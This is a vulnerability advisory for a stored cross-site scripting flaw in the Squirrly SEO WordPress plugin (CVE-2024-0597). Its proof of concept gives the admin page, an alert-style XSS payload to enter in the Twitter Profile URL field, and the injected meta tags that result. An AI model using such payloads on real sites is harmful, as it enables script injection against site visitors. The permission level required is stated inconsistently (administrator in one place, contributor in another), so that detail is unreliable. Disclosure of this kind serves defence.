CVE-2024-0597 — SEO Plugin by Squirrly SEO WP Plugin <= 12.3.15 Administrator+ Stored Cross-Site Scritpting
The SEO Plugin by Squirrly SEO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to and including 12.3.15 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
Proof of Concepts
- When the plugin is installed, open the OnePage Setup page (/wp-admin/admin.php?page=sq_onpagesetup)
- In step 4 (OnePage Setup), enter the payload in the Twitter Profile URL input form:
https://twitter.com/twitter\"><img src onerror=alert(123)>
- Complete the setup process then open your WordPress page.
The XSS payload will be triggered in the Twitter meta tag section:
<meta property="twitter:creator" content="@twitter\\"><img src onerror=alert(123)>" />
<meta property="twitter:site" content="@twitter\\"><img src onerror=alert(123)>" />
Impact
This makes it possible for authenticated attackers, with contributor-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.